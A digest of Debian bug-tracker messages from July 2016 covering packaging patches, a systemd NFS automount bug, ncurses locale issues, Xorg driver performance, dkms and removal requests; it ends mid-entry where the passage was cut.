From: Stefano Rivera 
Date: Tue, 26 Jul 2016 16:44:27 -0700
Subject: [PATCH 1/2] Wrap long line

---
 support/ruby/generate | 7 ++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/support/ruby/generate b/support/ruby/generate
index 4bff179..a5898d0 100755
--- a/support/ruby/generate
+++ b/support/ruby/generate
@@ -4,7 +4,12 @@ set -e
 
 # remove debhelper and gem2deb
 if [ -f debian/control ]; then
-  builddeps=$(grep-dctrl -n -s Build-Depends -F Build-Depends -r . debian/control | grep -v '^\s*#' |sed -e 's/,\s*/\n/g; s/^\s*//' | sed '/^\s*$/ d; /debhelper/ d; /gem2deb/ d; s/\n/, /' | tr '\n' ', ')
+  builddeps=$(
+grep-dctrl -n -s Build-Depends -F Build-Depends -r . debian/control \
+| grep -v '^\s*#' \
+| sed -e 's/,\s*/\n/g; s/^\s*//' \
+| sed '/^\s*$/ d; /debhelper/ d; /gem2deb/ d; s/\n/, /' \
+| tr '\n' ', ')
 else
   builddeps=''
 fi
-- 
2.8.1

From aff87aeff2b501b9126a30778ecf3f37e6601dbf Mon Sep 17 00:00:00 2001
From: Stefano Rivera 
Date: Tue, 26 Jul 2016 16:45:11 -0700
Subject: [PATCH 2/2] Strip build profile restritions

---
 support/ruby/generate | 1 +
 1 file changed, 1 insertion(+)

diff --git a/support/ruby/generate b/support/ruby/generate
index a5898d0..ab6067a 100755
--- a/support/ruby/generate
+++ b/support/ruby/generate
@@ -8,6 +8,7 @@ if [ -f debian/control ]; then
 grep-dctrl -n -s Build-Depends -F Build-Depends -r . debian/control \
 | grep -v '^\s*#' \
 | sed -e 's/,\s*/\n/g; s/^\s*//' \
+| sed -e 's/\s*<[^)]*>\s*$//' \
 | sed '/^\s*$/ d; /debhelper/ d; /gem2deb/ d; s/\n/, /' \
 | tr '\n' ', ')
 else
-- 
2.8.1

Bug#832566: systemd-machined breaks automounting nfs shares

[John Pearson]

Package: systemd
Version: 215-17+deb8u4
Severity: important

Dear Maintainer,

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation?
Upgraded a Debian Wheezy system that uses automounted NFS home directories to 
Jessie

   * What exactly did you do (or not do) that was effective (or
 ineffective)?
Most mornings when a user first logs in, the system attempts to automount 
/nfs/home.

   * What was the outcome of this action?

Graphical logins are returned to the greeter screen immediately; ssh logins, or 
other attempts to access files under /nfs/home, report the message 

  Too many levels of symbolic links
  
   * What outcome did you expect instead?
/nfs/home should be automaticaly mounted by the automounter as required.


This appears to be fundamentally similar to Debian bug #767468i, assigned to 
cgmanager.

When the error occured this morning, I checked if any processes still listed 
/nfs/home as mounted:

  # grep /nfs/home /proc/*/mounts
  /proc/25319/mounts:files:/home /nfs/home nfs4 
rw,nosuid,nodev,relatime,vers=4.0,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=192.168.8.53,local_lock=none,addr=192.168.8.249
 0 0
  /proc/25319/mounts:tmpfs /nfs/home tmpfs 
rw,nosuid,relatime,size=407436k,mode=755 0 0
  /proc/25319/mounts:tmpfs /nfs/home tmpfs ro,relatime,size=407436k,mode=755 0 0
  # ps afx | grep 25319
  26164 pts/2S+ 0:00  \_ grep 25319
  25319 ?Ss 0:00 /lib/systemd/systemd-machined

Restarting autofs resolves the issue, but that requires administrator 
intervention and so is a poor solution on a shared workstation used by 
unprivileged staff.

-- Package-specific info:

-- System Information:
Debian Release: 8.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: i386 (i686)
Foreign Architectures: amd64

Kernel: Linux 3.16.0-4-686-pae (SMP w/2 CPU cores)
Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages systemd depends on:
ii  acl 2.2.52-2
ii  adduser 3.113+nmu3
ii  initscripts 2.88dsf-59
ii  libacl1 2.2.52-2
ii  libaudit1   1:2.4-1+b1
ii  libblkid1   2.25.2-6
ii  libc6   2.19-18+deb8u4
ii  libcap2 1:2.24-8
ii  libcap2-bin 1:2.24-8
ii  libcryptsetup4  2:1.6.6-5
ii  libgcrypt20 1.6.3-2+deb8u1
ii  libkmod218-3
ii  liblzma55.1.1alpha+20120614-2+b3
ii  libpam0g1.1.8-3.1+deb8u1+b1
ii  libselinux1 2.3-2
ii  libsystemd0 215-17+deb8u4
ii  mount   2.25.2-6
ii  sysv-rc 2.88dsf-59
ii  udev215-17+deb8u4
ii  util-linux  2.25.2-6

Versions of packages systemd recommends:
ii  dbus1.8.20-0+deb8u1
ii  libpam-systemd  215-17+deb8u4

Versions of packages systemd suggests:
pn  systemd-ui  

-- no debconf information

Bug#780246: [libsvn-perl] Is there any progress on this?

[James McCoy]

On Tue, Jul 26, 2016 at 09:10:19PM +, Eric Wong wrote:
> I only recently subscribed to this tracker, but this looks
> like the same problem documented a few weeks ago on the git list:

The patches that had previously been discussed and applied to upstream's
trunk finally got approved for backport to the 1.9.x branch.  They will
be in the next 1.9.x release.

I'll look into adding them to the Debian packaging, in case it takes
some time for the 1.9.5 release.

Cheers,
-- 
James
GPG Key: 4096R/91BF BF4D 6956 BD5D F7B7  2D23 DFE6 91AE 331B A3DB

Bug#832565: rustc: don't embed llvm in librustc_llvm

[Ximin Luo]

Package: rustc
Version: 1.10.0+dfsg1-1
Severity: normal

Dear Maintainer,

librustc_llvm-xx.so is approx 30MB, taking about half the space of 
libstd-rust-xx.
Upstream tells me that this is due to embedding pretty much all of LLVM.

We should explore options to make it instead dynamically link against LLVM,
since that is the Debian convention. (Upstream probably won't spend too much
time on this.) This would reduce the size of libstd-rust-xx by about half.

(The size could further be reduced by splitting dev vs runtime shared objects,
but upstream don't seem to be doing this themselves yet, and any work we do
here should definitely be consulted with them first.)

X

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'stable'), (300, 'unstable'), (200, 
'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.4.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_GB.utf8, LC_CTYPE=en_GB.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages rustc depends on:
ii  gcc   4:5.3.1-3
ii  libc6 2.23-1
ii  libc6-dev [libc-dev]  2.23-1
ii  libstd-rust-dev   1.10.0+dfsg1-1

Versions of packages rustc recommends:
ii  rust-gdb  1.9.0+dfsg1-1

Versions of packages rustc suggests:
ii  rust-doc  1.10.0~~nightly.20160417+dfsg1-1

-- no debconf information

Bug#832564: debhelper: udeb packages should not be processed with noudeb

[Javier Serrano Polo]

Package: debhelper
Version: 9.20160709
Severity: wishlist

udeb packages are being processed when the noudeb build profile is
active. It should not be necessary to include:
Build-Profiles: 
in debian/control. 


smime.p7s
Description: S/MIME cryptographic signature

Bug#830694: ncurses-base doesn't work with iso-8859-2 locale

[Mikulas Patocka]

On Sat, 23 Jul 2016, Thomas Dickey wrote:

> On Sat, Jul 16, 2016 at 04:14:37PM -0400, Thomas Dickey wrote:
> > On Sun, Jul 10, 2016 at 03:45:39PM +0200, Mikulas Patocka wrote:
> > > Package: ncurses-base
> > > Version: 6.0+20160319-2
> > > Severity: normal
> > > Tags: l10n
> > > 
> > > Dear Maintainer,
> > > 
> > > *** Reporter, please consider answering these questions, where 
> > > appropriate ***
> > > 
> > >* What led up to the situation?
> > > 
> > > Updating the ncurses-base package from 6.0+20160319-2 to 6.0+20160625-1 
> > > breaks
> > > the iso-8859-2 locale.
> > > 
> > > The reason for this bug is that the package 6.0+20160625-1 sends the 
> > > characters
> > > "\e(B\e)0" when initializing a full screen program. The code "\e(B" 
> > > breaks the
> > > iso-8859-2 locale. (the locale needs "\e(K" so that it uses the alternate 
> > > map,
> > > "\e(B" resets this setting to use the incorrect iso-8859-1 map)
> > > 
> > > The version 6.0+20160319-2 doesn't send the characters "\e(B\e)0" at
> > > initialization, so iso-8859-2 works there.
> > 
> > It's not that simple.
> 
> ...
> 
> > That is, a hard reset would have the same effect, pointing G0/G1 to
> > the Latin1 and VT100 graphics tables.  The "reset" program does this.

Do you want to change the Linux Console, so that the reset sequence "\ec" 
doesn't reset the mapping table? It would be possible, but ncurses still 
need to work with older kernels.

> I'd like to get this point resolved.

We just need to remove "\e(B" from the linux terminal description, that 
would be sufficient to make iso-8859-2 setups work.

Or - if you want to parse the $LANG variable in ncurses and send "\e(B" 
only if we have the iso-8859-1 locale?

> > It's a bit of a mess, but basically the old/new control codes don't work
> > together. (more later)
> 
> ...continuing, I wrote a script to (attempt to) exercise the various
> character sets by writing all of the printable characters with each of
> the selectable fonts, and changed my console-setup file to use ISO-8859-2
> (both attached).
> 
> Currently I have via infocmp comparing linux2.2 to linux2.6:
> 
> comparing booleans.
> comparing numbers.
> comparing strings.
>   acsc: 
> '+\020\,\021-\030.^Y0\333`\004a\261f\370g\361h\260i\316j\331k\277l\332m\300n\305o~p\304q\304r\304s_t\303u\264v\301w\302x\263y\363z\362{\343|\330}\234~\376',
>  '++\,\,--..00__``aaffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}c~~'.
>   enacs: NULL, '\E(B\E)0'.
>   rmacs: '\E[10m', '^O'.
>   sgr: 
> '\E[0;10%?%p1%t;7%;%?%p2%t;4%;%?%p3%t;7%;%?%p4%t;5%;%?%p5%t;2%;%?%p6%t;1%;%?%p9%t;11%;m',
>  
> '\E[0;10%?%p1%t;7%;%?%p2%t;4%;%?%p3%t;7%;%?%p4%t;5%;%?%p5%t;2%;%?%p6%t;1%;m%?%p9%t\016%e\017%;'.
>   sgr0: '\E[0;10m', '\E[m\017'.
>   smacs: '\E[11m', '^N'.
> 
> and (perhaps someone can point out where I'm missing it), the only difference
> I see (screenshots attached) is an odd glitch on the screen which seems to be
> unrelated to what I'm trying to investigate.

Your script uses the enacs value only for the leading 4 characters:

printf "\n" if ( $adj != 0 );
printf "%s%s", $rmacs, $enacs;  --- use enacs according 
to termcap
printf "%s%d: ", $scs[$SCS], $SI;
printf '%s', $SI ? $smacs : $rmacs, $SI;
printf "\033(%s", $scs[$SCS];   --- set enacs according 
to the loop variable
printf "\033)%s", $scs[$SCS];

The terminal value is reset with printf "\033(%s", $scs[$SCS]; --- so the 
terminal only makes difference for the first 4 characters.

You can see on the screenshot that lines starting with K0 and K1 are 
correct iso-8859-2 charset and the other lines are incorrect.

Mikulas

Bug#830912: fakeroot complains about missing acl_* symbols

[Aurelien Jarno]

control: affects -1 libc6

On 2016-07-13 00:02, Eric Valette wrote:
> Package: fakeroot
> Version: 1.21-1
> Severity: normal
> 
> fakeroot
> dlsym(acl_get_fd): /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: 
> undefined symbol: acl_get_fd
> dlsym(acl_get_file): 
> /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: undefined symbol: 
> acl_get_file
> dlsym(acl_set_fd): /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: 
> undefined symbol: acl_set_fd
> dlsym(acl_set_file): 
> /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: undefined symbol: 
> acl_set_file
> dlsym(acl_get_fd): /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: 
> undefined symbol: acl_get_fd
> dlsym(acl_get_file): 
> /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: undefined symbol: 
> acl_get_file
> dlsym(acl_set_fd): /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: 
> undefined symbol: acl_set_fd
> dlsym(acl_set_file): 
> /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: undefined symbol: 
> acl_set_file
> dlsym(acl_get_fd): /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: 
> undefined symbol: acl_get_fd
> dlsym(acl_get_file): 
> /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: undefined symbol: 
> acl_get_file
> dlsym(acl_set_fd): /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: 
> undefined symbol: acl_set_fd
> dlsym(acl_set_file): 
> /usr/lib/x86_64-linux-gnu/libfakeroot/libfakeroot-sysv.so: undefined symbol: 
> acl_set_file

[ snip ]

> Versions of packages fakeroot depends on:
> ii  libc62.23.90+20160711.c10f90d-1

The reason why these messages have appeared is that you install glibc
from experimental. It includes the following fix:

| commit 7d45c163d00c88d5875a112343c4ea3e61349e6b
| Author: Florian Weimer 
| Date:   Thu Mar 31 11:26:55 2016 +0200
| 
| Report dlsym, dlvsym lookup errors using dlerror [BZ #19509]
| 
| * elf/dl-lookup.c (_dl_lookup_symbol_x): Report error even if
| skip_map != NULL.
| * elf/tst-dlsym-error.c: New file.
| * elf/Makefile (tests): Add tst-dlsym-error.
| (tst-dlsym-error): Link against libdl.


Basically now dlerror() correctly returns an error message when dlsym
fails due to a missing symbol. The acl symbols are not in libc, but in
libacl so they are not found.

It looks like this error message should probably be conditioned on
LIBFAKEROOT_DEBUGGING.

Aurelien

-- 
Aurelien Jarno  GPG: 4096R/1DDD8C9B
aurel...@aurel32.net http://www.aurel32.net

Bug#831792: RFS: scid/1:4.6.2-0.1 [NMU]

[James Cowgill]

On Tue, 2016-07-26 at 18:18 +, Gianfranco Costamagna wrote:
> control: owner -1 !
> control: tags -1 moreinfo
> 
> > I am looking for a sponsor for my package "scid":
[...]
> 3) 
> X: scid source: maybe-not-arch-all-binnmuable scid -> scid-data

This lintian tag does not indicate your package has a bug in it. The
tags description even states that you should not attempt to fix it.

James

signature.asc
Description: This is a digitally signed message part

Bug#832563: RM: cvs-syncmail -- RoQA; unmaintained, dead upstream, RC buggy

[Moritz Muehlenhoff]

Package: ftp.debian.org
Severity: normal

Hi,
please remove cvs-syncmail. It's orphaned for eight years without
anyone picking it up, it's dead upstream, RC buggy and hasn't seen
an upload for more than a decade. Popcon is marginal.

Cheers,
Moritz

Bug#832562: RM: rofs-fuse -- RoQA; unmaintained, RC-buggy, dead upstream

[Moritz Muehlenhoff]

Package: ftp.debian.org
Severity: normal

Hi,
please remove rofs-fuse. It hasn't seen a maintainer upload for almost
a decade, the upstream homepage has vanished off the net and it's RC
buggy.

Cheers,
Moritz

Bug#698477: Prospective cloudfront.debian.*org* service (Re: Bug#698477 closed by Marcin Kulisz <deb...@kulisz.net> ())

[Charles Plessy]

Le Tue, Jul 26, 2016 at 12:21:10PM +, Debian Bug Tracking System a écrit :
> This is an automatic notification regarding your Bug report
> which was filed against the cloud.debian.org package:
> 
> #698477: Debian Mirror on the Amazon cloud.
> 
> It has been closed by Marcin Kulisz .
> 
> Their explanation is attached below along with your original report.

Thanks a lot Marcin.

In the bug-closing email that landed on the debian-cloud mailing list, I wonder
if readers unfamiliar with the BTS saw that Marcin's message was at the bottome
of the page after lots of boilerplate. 
(https://lists.debian.org/debian-cloud/2016/07/msg00061.html0

I therefore reproduce it below for everybody's convenience.

Have a nice day,

-- Charles

> Date: Tue, 26 Jul 2016 13:08:27 +0100
> From: Marcin Kulisz 
> To: 698477-d...@bugs.debian.org
> Cc: debian-ad...@lists.debian.org
> 
> As all participating parties agreed that we don't need another mirror but
> rather have a use for secondary CDN (primary being fastly based deb.d.o).
> I've created patch for dsa-fastly repo allowing for creating
> cloudfront.debian.org infrastructure.
> 
> Patch can be found at /home/kula/0001-Initial-commit-for-cloudfront.d.o.patch
> on master.d.o.
> 
> It's published that way as repo mirror on Alioth is RO and patch is ~600K.
> 
> Now it's up to DSA if they want to use it, until cloudfront.d.o is operational
> we shall use cloudfront.d.n as is.
> -- 
> 
> |_|0|_|  |
> |_|_|0| "Heghlu'Meh QaQ jajVam"  |
> |0|0|0|  kuLa -  |
> 
> gpg --keyserver pgp.mit.edu --recv-keys 0x58C338B3
> 3DF1 A4DF C732 4688 38BC F121 6869 30DD  58C3 38B3

Bug#832550: tzdata: Certain zone abbreviations do not support round-trip conversion

[Aurelien Jarno]

control: reassign -1: coreutils
control: retitle -1: coreutils: date doesn't know about AEST timezone

On 2016-07-26 11:45, Mark Stafford wrote:
> Package: tzdata
> Version: 2016f-0+deb8u1
> Severity: normal
> 
> Dear Maintainer,
> 
> I was attempting to write a script something like a world clock to help 
> schedule a task in six time zones.
> 
> * What exactly did you do (or not do) that was effective (or ineffective)?
> * What was the outcome of this action?
> * What outcome did you expect instead?
> 
> Steps to reproduce:
> 
> # the alias isn't necessary, but it simplifies the demonstration
> alias lax="TZ='America/Los_Angeles' date --date=@1469558444 '+%Y-%m-%d %H:%M 
> %Z'"
> alias syd="TZ='Australia/Sydney' date --date=@1469558444 '+%Y-%m-%d %H:%M %Z'"
> lax
> syd
> date --date "$( lax )"
> date --date "$( syd )"
> 
> bug symptom:
>   2016-07-26 11:40 PDT
>   2016-07-27 04:40 AEST
>   Tue Jul 26 11:40:00 PDT 2016
>   date: invalid date ‘2016-07-27 04:40 AEST’
> 
> expected behavior:
>   2016-07-26 11:40 PDT
>   2016-07-27 04:40 EST
>   Tue Jul 26 11:40:00 PDT 2016
>   Wed Jul 27 02:40:00 PDT 2016

"date -d" parses the timezone itself without the help of tzdata, and it
indeed doesn't know about the AEST timezone. I am therefore reassigning
the bug to coreutils.

Aurelien

-- 
Aurelien Jarno  GPG: 4096R/1DDD8C9B
aurel...@aurel32.net http://www.aurel32.net

Bug#832561: O: bbmail -- Mail notifier for Blackbox/Fluxbox

[Kevin Coyner]

Package: bbmail
Version: 0.8.3-6
Severity: normal

I no longer have sufficient time available to support this package, and am
therefore orphaning it.


-- System Information:
Debian Release: stretch/sid
  APT prefers xenial-updates
  APT policy: (500, 'xenial-updates'), (500, 'xenial-security'), (500, 'xenial')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 3.14.0 (SMP w/4 CPU cores; PREEMPT)
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)

Bug#832534: apparmor: please drop useless breaks+replaces

[Gianfranco Costamagna]

Hi,
>Yeah, let's clean this up eventually! Done in our Vcs-Bzr.



thanks :)
>I've tried to document every change in atomic commits, see bzr log.
>I'd be very happy if you could review it :)


I did, thanks for the very careful review and commits
>Note that I've also checked the Debian upgrade paths, since you
>provided a (very good, thanks!) reasoning only for the Ubuntu side of
>the story. In a couple cases, one had to look a bit closer since the
>version of packages in Jessie did not satisfy the Breaks+Replaces
>relationships… but they could be removed in the end anyway.


seems all good, thanks!

BTW another question:
"Replaces: apparmor-parser"

I don't know exactly the rationale for it, but I would consider dropping it,
Replaces without a version looks wrong to me, even if I have a really little
dpkg knowledge

thanks!

G.

Bug#802194: ITP: apache-spark - lightning-fast cluster computing

[Daniel Stender]

On Mon, 25 Jul 2016 09:59:42 -0700 Martin Michlmayr  wrote:
> * Daniel Stender  [2016-02-16 03:38]:
> > > Hi Daniel, are you still working on packaging apache-spark?
> > 
> > yes. Please hang on, this is coming up.
> 
> I just wanted to ask if there has been any further progress with this?
> 
> -- 
> Martin Michlmayr
> http://www.cyrius.com/

Hi Martin,

don't ping here, please ping the block ;-)

No, seriously, please excuse that this ITP haven't been closed yet, Spark 
doesn't have to wait for
Hadoop scheduling (YARN) to become available as a package, but could also run 
on Mesos.

I've got super no time the last weeks, worked a lot on Theano, but going to 
work down the ITPs in the
*near* future (in August). First, Mesos, then Spark. Please have some more 
patience. Thanks for the ping,
it reminds me that it's really needed.

Daniel

-- 
4096R/DF5182C8
http://www.danielstender.com/blog/

Bug#832560: xserver-xorg-core: performance is very bad since using built-in modesetting 4th gen GMA on ivy bridge

[Martin Dosch]

Hello,

after I saw reportbug wasn't able to read the xorg.conf I changed the
permissions to 640 and it works again. It was not mentioned in the
maintainers email that the file requires reading permission for
everyone. So by just copying the file my UMASk set the permission to 640.

But for Ivy Bridge you shouldn't switch away from intel driver as this
was really slowing down my system.

Best regards,
Martin



signature.asc
Description: OpenPGP digital signature

Bug#832560: xserver-xorg-core: performance is very bad since using built-in modesetting 4th gen GMA on ivy bridge

[Martin Dosch]

Package: xserver-xorg-core
Version: 2:1.18.4-1
Severity: important

Dear Maintainer,

since the last update my systems performance is very low. Even gnome shell
animations like are "stuttering". Playing games is no more possible of cause.

With the update I got this mail:

> xorg-server (2:1.18.3-2) unstable; urgency=medium
>
>   X now defaults to using built-in modesetting video driver on Intel
>   hardware which is "4th gen GMA" and newer, so roughly speaking on hardware
>   from 2007 and up. If this triggers new bugs on your hw, please file them
>   against the xserver.
>
>   Continuing to use the -intel driver is possible by dropping the template
>   xorg.conf to /etc/X11:
>
>   # cp /usr/share/doc/xserver-xorg-video-intel/xorg.conf /etc/X11
>
>  -- Timo Aaltonen   Tue, 19 Jul 2016 04:28:05 +0300

But this xorg.conf shows no effect after restarting X and even after complete
reboot.
There is also some weird output of VMWare in glxinfo:



> glxinfo | grep OpenGL
> OpenGL vendor string: VMware, Inc.
> OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.8, 256 bits)
> OpenGL core profile version string: 3.3 (Core Profile) Mesa 12.0.1
> OpenGL core profile shading language version string: 3.30
> OpenGL core profile context flags: (none)
> OpenGL core profile profile mask: core profile
> OpenGL core profile extensions:
> OpenGL version string: 3.0 Mesa 12.0.1
> OpenGL shading language version string: 1.30
> OpenGL context flags: (none)
> OpenGL extensions:
> OpenGL ES profile version string: OpenGL ES 3.0 Mesa 12.0.1
> OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.00
> OpenGL ES profile extensions:

Compared to the old output before:

1,2c1,2
< OpenGL vendor string: Intel Open Source Technology Center
< OpenGL renderer string: Mesa DRI Intel(R) Ivybridge Mobile
---
> OpenGL vendor string: VMware, Inc.
> OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.8, 256 bits)

Feel free to ask for mor information needed to investigate in this issue.

Best regards,
Martin



-- Package-specific info:
/etc/X11/X does not exist.
/etc/X11/X is not a symlink.
/etc/X11/X is not executable.

VGA-compatible devices on PCI bus:
--
00:02.0 VGA compatible controller [0300]: Intel Corporation 3rd Gen Core 
processor Graphics Controller [8086:0166] (rev 09)

Xorg X server configuration file status:

-rw-r- 1 root root 92 Jul 26 22:57 /etc/X11/xorg.conf

Contents of /etc/X11/xorg.conf:
---

/etc/X11/xorg.conf.d does not exist.

/etc/modprobe.d contains no KMS configuration files.

Kernel version (/proc/version):
---
Linux version 4.6.0-1-amd64 (debian-ker...@lists.debian.org) (gcc version 5.4.0 
20160609 (Debian 5.4.0-6) ) #1 SMP Debian 4.6.4-1 (2016-07-18)

No Xorg X server log files found.

udev information:
-
P: /devices/LNXSYSTM:00/LNXPWRBN:00/input/input14
E: DEVPATH=/devices/LNXSYSTM:00/LNXPWRBN:00/input/input14
E: EV=3
E: ID_FOR_SEAT=input-acpi-LNXPWRBN_00
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_PATH=acpi-LNXPWRBN:00
E: ID_PATH_TAG=acpi-LNXPWRBN_00
E: KEY=10 0
E: MODALIAS=input:b0019vp0001e-e0,1,k74,ramlsfw
E: NAME="Power Button"
E: PHYS="LNXPWRBN/button/input0"
E: PRODUCT=19/0/1/0
E: PROP=0
E: SUBSYSTEM=input
E: TAGS=:seat:
E: USEC_INITIALIZED=10945123

P: /devices/LNXSYSTM:00/LNXPWRBN:00/input/input14/event6
N: input/event6
E: BACKSPACE=guess
E: DEVNAME=/dev/input/event6
E: DEVPATH=/devices/LNXSYSTM:00/LNXPWRBN:00/input/input14/event6
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_PATH=acpi-LNXPWRBN:00
E: ID_PATH_TAG=acpi-LNXPWRBN_00
E: LIBINPUT_DEVICE_GROUP=19/0/1/0:LNXPWRBN/button
E: MAJOR=13
E: MINOR=70
E: SUBSYSTEM=input
E: TAGS=:power-switch:
E: USEC_INITIALIZED=11045678
E: XKBLAYOUT=de
E: XKBMODEL=pc105

P: /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A08:00/LNXVIDEO:00/input/input16
E: DEVPATH=/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A08:00/LNXVIDEO:00/input/input16
E: EV=3
E: ID_FOR_SEAT=input-acpi-LNXVIDEO_00
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_PATH=acpi-LNXVIDEO:00
E: ID_PATH_TAG=acpi-LNXVIDEO_00
E: KEY=3e000b 0 0 0
E: MODALIAS=input:b0019vp0006e-e0,1,kE0,E1,E3,F1,F2,F3,F4,F5,ramlsfw
E: NAME="Video Bus"
E: PHYS="LNXVIDEO/video/input0"
E: PRODUCT=19/0/6/0
E: PROP=0
E: SUBSYSTEM=input
E: TAGS=:seat:
E: USEC_INITIALIZED=10981552

P: /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A08:00/LNXVIDEO:00/input/input16/event8
N: input/event8
E: BACKSPACE=guess
E: DEVNAME=/dev/input/event8
E: 
DEVPATH=/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A08:00/LNXVIDEO:00/input/input16/event8
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_PATH=acpi-LNXVIDEO:00
E: ID_PATH_TAG=acpi-LNXVIDEO_00
E: LIBINPUT_DEVICE_GROUP=19/0/6/0:LNXVIDEO/video
E: MAJOR=13
E: MINOR=72
E: SUBSYSTEM=input
E: TAGS=:power-switch:
E: USEC_INITIALIZED=11048869
E: XKBLAYOUT=de
E: XKBMODEL=pc105

P: 

Bug#780246: [libsvn-perl] Is there any progress on this?

[Eric Wong]

I only recently subscribed to this tracker, but this looks
like the same problem documented a few weeks ago on the git list:

https://public-inbox.org/git/0bca1e695085c645b9cd4a27dd59f6fa39aad...@gbwgceuhubd0101.rbsres07.net/T/

Bug#832559: python-boto3: please package new upstream version

[Sascha Steinbiss]

Package: python-boto3
Version: 1.2.2-2
Severity: wishlist

Dear Maintainer,

version 1.3.1 has been available for some time now, and contains new code
necessary for s4cmd [1], which I plan on packaging. Please consider
packaging a new upstream version.

Many thanks
Sascha

[1] https://github.com/bloomreach/s4cmd

Bug#832558: dkms: mkdeb --source-only fails: can't find package

[Dirk Griesbach]

Package: dkms
Version: 2.2.0.3-5
Severity: normal
Tags: patch

Hi,

when creating a source-only deb, dkms will call dpkg-buildpackage, which 
creates  a *_all.deb package. Version 2.2.0.3-5 introduced 
$debian_build_arch as part of the then invoked mv command, which fails.

>From a quick glance, calling mkdeb without --source-only will suffer 
from the same problem, but I did not test it.

If I glanced right, you can apply revert_all.patch. If I'm wrong, try
source_deb.patch, which will use 'all' only if --source-only was 
provided. Or, if thats an option, simply use a wildcard instead of a 
specific arch postfix if other options aren't at hand.

Regards,
Dirk

-- System Information:
Debian Release: stretch/sid
   APT prefers unstable
   APT policy: (500, 'unstable'), (101, 'experimental')
Architecture: i386 (i686)

Kernel: Linux 4.6.4 (SMP w/2 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages dkms depends on:
ii  build-essential  12.2
ii  coreutils8.25-2
ii  dpkg-dev 1.18.9
ii  gcc  4:5.3.1-3
ii  kmod 22-1.1
ii  make 4.1-9
ii  patch2.7.5-1

Versions of packages dkms recommends:
ii  fakeroot 1.21-1
ii  linux-headers-4.6.4 [linux-headers]  4.6.4-5
ii  menu 2.1.47
ii  sudo 1.8.17p1-2

Versions of packages dkms suggests:
pn  python3-apport  

-- Configuration Files:
/etc/modprobe.d/dkms.conf [Errno 2] Datei oder Verzeichnis nicht gefunden: 
u'/etc/modprobe.d/dkms.conf'

-- no debconf information
--- a/dkms	2016-07-06 01:12:00.0 +0200
+++ b/dkms	2016-07-26 22:30:26.486793435 +0200
@@ -2960,7 +2960,7 @@
 		die 7 $"There was a problem creating your ${create_type}."
 	echo $""
 	echo $"DKMS: mk${create_type} completed."
-	invoke_command "mv '$temp_dir/${debian_package}-dkms_${module_version}_${debian_build_arch}.deb' '$deb_basedir'" "Moving built files to $deb_basedir"
+	invoke_command "mv '$temp_dir/${debian_package}-dkms_${module_version}_all.deb' '$deb_basedir'" "Moving built files to $deb_basedir"
 	;;
 	bmdeb)
 export KVER="$kernelver"
diff -u a/dkms b/dkms
--- a/dkms	2016-07-26 20:03:17.901049440 +0200
+++ b/dkms	2016-07-26 20:03:04.276981881 +0200
@@ -2887,7 +2887,11 @@
 make_common_test "mk${create_type}"
 
 debian_package=${module//_/-}
-debian_build_arch=$(dpkg-architecture -qDEB_BUILD_ARCH)
+if [[ $source_only ]]; then
+debian_build_arch='all'
+else
+debian_build_arch=$(dpkg-architecture -qDEB_BUILD_ARCH)
+fi
 
 # Read the conf file
 read_conf_or_die "$kernelver" "$arch"

Bug#832534: apparmor: please drop useless breaks+replaces

[intrigeri]

Control: tag -1 + pending

Hi Gianfranco,

Gianfranco Costamagna:
> Hi, as explained here [1], Ubuntu needs the breaks+replaces from an LTS to 
> another, and
> they can be safely dropped after the new one is out.

> Now, xenial is released, and upgrades from trusty will be done with the 
> trusty and xenial
> version.

> Dropping it now, will make it go into yakkety, and then avoid upgrade 
> failures.

Yeah, let's clean this up eventually! Done in our Vcs-Bzr.

I've tried to document every change in atomic commits, see bzr log.
I'd be very happy if you could review it :)

Note that I've also checked the Debian upgrade paths, since you
provided a (very good, thanks!) reasoning only for the Ubuntu side of
the story. In a couple cases, one had to look a bit closer since the
version of packages in Jessie did not satisfy the Breaks+Replaces
relationships… but they could be removed in the end anyway.

Cheers,
-- 
intrigeri

Bug#685778:

